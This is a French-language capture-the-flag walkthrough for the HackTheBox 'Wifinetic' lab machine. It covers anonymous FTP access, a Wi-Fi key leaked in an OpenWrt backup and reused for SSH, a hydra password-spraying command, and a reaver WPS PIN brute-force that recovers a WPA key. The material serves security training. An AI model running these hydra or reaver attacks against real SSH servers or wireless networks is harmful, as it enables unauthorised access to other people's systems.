Aller au contenu principal

HACKTHEBOX - WIFINETIC

Lien : https://app.hackthebox.com/machines/Wifinetic/

Enumeration

Nous commençons par l'énumération de la box :

Output copiable
PORT   STATE SERVICE    VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 4434 Jul 31 11:03 MigrateOpenWrt.txt
| -rw-r--r-- 1 ftp ftp 2501210 Jul 31 11:03 ProjectGreatMigration.pdf
| -rw-r--r-- 1 ftp ftp 60857 Jul 31 11:03 ProjectOpenWRT.pdf
| -rw-r--r-- 1 ftp ftp 40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r-- 1 ftp ftp 52946 Jul 31 11:03 employees_wellness.pdf
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
53/tcp open tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Exploration des fichiers du FTP

On remarque que le service FTP est accessible en anonyme. On se connecte dessus et on récupère les fichiers :

Ouput copiable
Connected to 10.10.11.247.
220 (vsFTPd 3.0.3)
Name (10.10.11.247:xxx): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> recurse ON
?Invalid command.
ftp> ls
229 Entering Extended Passive Mode (|||44447|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r-- 1 ftp ftp 2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r-- 1 ftp ftp 60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r-- 1 ftp ftp 40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r-- 1 ftp ftp 52946 Jul 31 11:03 employees_wellness.pdf

Dans les fichiers, on trouve un backup d'un firmware OpenWRT. Ce dernier contient des fichiers de configuration, dont un fichier de configuration wifi :

Output copiable
config wifi-device 'radio0'
option type 'mac80211'
option path 'virtual/mac80211_hwsim/hwsim0'
option cell_density '0'
option channel 'auto'
option band '2g'
option txpower '20'

config wifi-device 'radio1'
option type 'mac80211'
option path 'virtual/mac80211_hwsim/hwsim1'
option channel '36'
option band '5g'
option htmode 'HE80'
option cell_density '0'

config wifi-iface 'wifinet0'
option device 'radio0'
option mode 'ap'
option ssid 'OpenWrt'
option encryption 'psk'
option key 'VeRyUniUqWiFIPasswrd1!'
option wps_pushbutton '1'

config wifi-iface 'wifinet1'
option device 'radio1'
option mode 'sta'
option network 'wwan'
option ssid 'OpenWrt'
option encryption 'psk'
option key 'VeRyUniUqWiFIPasswrd1!'

Exploitation

On trouve un mot de passe, qui nous sera utile plus tard. Nous trouvons également des fichiers pdf, mais qui semblent inutiles.

Toujours dans le backup OpenWRT, on retrouve le fichier /etc/passwd qui contient tous les utilisateurs de la box :

Output copiable
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999::/home/netadmin:/bin/false

A partir de cela, on peut deviner que l'utilisateur netadmin est un utilisateur qui à été créé par celui qui à créé ces réseaux wifi. Par conséquent il doit avoir le même mot de passe que le wifi.

Nous essayons de nous connecter en SSH avec le mot de passe VeRyUniUqWiFIPasswrd1! et cela fonctionne.

Posons nous alors dans le cas ou il y aurait + d'utilisateurs. Dans ce cas, nous devrions utiliser hydra pour pouvoir faire une attaque avec le mot de passe trouvé précédemment.

On créé alors notre liste d'utilisateurs :

root
daemon
ftp
network
nobody
ntp
dnsmasq
logd
ubus
netadmin

Puis on peut lancer hydra :

Output copiable
hydra -L users -p VeRyUniUqWiFIPasswrd1! 10.10.11.247 ssh

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-17 00:22:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://10.10.11.247:22/
[22][ssh] host: 10.10.11.247 login: netadmin password: VeRyUniUqWiFIPasswrd1!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-17 00:22:35

Privilege Escalation

Enumeration des interfaces réseau

En énumérant les interfaces de la box on trouve quelque chose :

Output copiable
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:46:13 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.247/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:4613/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:4613/64 scope link
valid_lft forever preferred_lft forever
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.1/24 brd 192.168.1.255 scope global wlan0
valid_lft forever preferred_lft forever
inet6 fe80::ff:fe00:0/64 scope link
valid_lft forever preferred_lft forever
4: wlan1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.23/24 brd 192.168.1.255 scope global dynamic wlan1
valid_lft 20520sec preferred_lft 20520sec
5: wlan2: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
6: hwsim0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ieee802.11/radiotap 12:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
7: mon0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN group default qlen 1000
link/ieee802.11/radiotap 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff

On remarque que il existe des interfaces dites "wireless". Wlan0, Wlan1 et Wlan2 peuvent servir à diffuser ou se connecter à un réseau wifi. L'interface mon° 0 doit sûrement servir à de l'injection de paquets. On peut confirmer cela en faisant un iwconfig :

Output copiable
hwsim0    no wireless extensions.

wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

lo no wireless extensions.

wlan1 IEEE 802.11 ESSID:"OpenWrt"
Mode:Managed Frequency:2.412 GHz Access Point: 02:00:00:00:00:00
Bit Rate:24 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=70/70 Signal level=-30 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:8 Missed beacon:0

mon0 IEEE 802.11 Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

eth0 no wireless extensions.

wlan0 IEEE 802.11 Mode:Master Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

Avant de continuer, il est important de définir quelques termes :

TermeSignification
BSSIDAdresse MAC de l'AP (Access Point). Par exemple, si vous êtes connectés à votre Box en wifi, le BSSID sera l'adresse MAC de la box
SSIDNom du réseau wifi. Par exemple, Livebox-3746 est un SSID
FrequencyFréquence du réseau wifi. En général, un wifi sera à la fréquence de 2.4Ghz ou 5Ghz. Attention, si vous faites des attaques wifi, veillez à ce que votre adaptateur wifi supporte le 5Ghz

Ici le iwconfig nous indique que :

  1. L'interface wlan1 est connectée à un réseau wifi nommé "OpenWrt" avec un BSSID ayant la valeur 02:00:00:00:00:00
  2. L'interface wlan2 n'est connectée à aucun réseau wifi
  3. L'interface wlan0 est en mode "Master", ce qui veut dire qu'elle peut diffuser un réseau wifi.
  4. L'interface mon0 est en mode "Monitor", ce qui veut dire qu'elle peut injecter des paquets dans un réseau wifi.

Enfin, avec un iplink, on confirme que l'adresse mac de l'interface wlan0 est 02:00:00:00:00:00 :

Output copiable
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.1/24 brd 192.168.1.255 scope global wlan0
valid_lft forever preferred_lft forever
inet6 fe80::ff:fe00:0/64 scope link
valid_lft forever preferred_lft forever

Donc cela veut dire que l'interface wlan0 diffuse le réseau wifi "OpenWrt" avec le BSSID 02:00:00:00:00:00 et que l'interface wlan1 est connectée à ce réseau wifi.

Ensuite, plusieurs attaques sont possibles :

  1. On peut faire une attaque de type "deauth" sur l'interface mon0 pour déconnecter l'utilisateur connecté à l'interface wlan1. Cela aura pour effet de déconnecter l'utilisateur de l'interface wlan1 et de le faire se reconnecter à l'interface wlan0. Cela nous permettra de récupérer le handshake wifi. Cependant, la suite aircrack-ng n'est pas installée sur la box. Il est peu probable que cela soit la bonne solution.

  2. On peut faire un attaque sur le WPS à condition qu'il soit activé sur l'AP. A l'heure actuelle, nous n'avons aucun moyen de savoir si le WPS est bien activé mais l'utilitaire reaver est installé sur la box, ce qui nous donne un indice sur comment attaquer ce wifi.

Attaque WPS

Fonctionnement du WPS

Le WPS (Wi-Fi Protected Setup) est une fonctionnalité qui a été introduite en 2007 pour faciliter la connexion d'appareils sur des réseaux Wi-Fi domestiques en permettant d'établir une connexion sans avoir besoin de saisir un mot de passe.

Le WPS fonctionne en utilisant deux principaux modes de configuration :

  • Le mode PBC (Push Button Configuration) qui permet de déclencher l'association en appuyant sur un bouton physique sur le routeur et sur le périphérique client.
  • Le mode PIN qui repose sur la saisie d'un code PIN à 8 chiffres, généré aléatoirement sur l'un des équipements et qui doit être saisi sur l'autre pour autoriser la connexion.

Le protocole WPS se base sur des échanges de clefs publiques entre les équipements pour générer une clef pré-partagée (PSK) qui servira à établir une connexion WPA ou WPA2 sécurisée.

Comment attaquer WPS ?

L'un des principaux points faibles du WPS est l'utilisation d'un code PIN à seulement 8 chiffres pour s'authentifier et établir la connexion WiFi sécurisée. Même si ce PIN est généré de manière aléatoire, 8 chiffres ne donnent que 10^8 combinaisons possibles. Avec les capacités de calcul actuelles, il est possible de tester l'ensemble de ces combinaisons en quelques heures seulement par attaque brute-force.

De plus, de nombreux routeurs WiFi grand public ne mettent pas en place de limite au nombre de tentatives de connexion WPS, ce qui rend possible ce type d'attaque par force brute hors-ligne. Certains firmware de constructeurs comportent même des PIN par défaut connus et inchangés, encore plus facile à exploiter.

Pour attaquer le WPS, nous allons utiliser l'utilitaire reaver. Cet utilitaire est installé sur la box et permet de faire des attaques sur le WPS.

Output copiable
reaver -i mon0 -b 02:00:00:00:00:00 -vv
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Switching mon0 to channel 1
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 1 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.

En 2 secondes (notamment car le pin était "trivial") , nous avons cracké le WPS et récupéré le mot de passe wifi.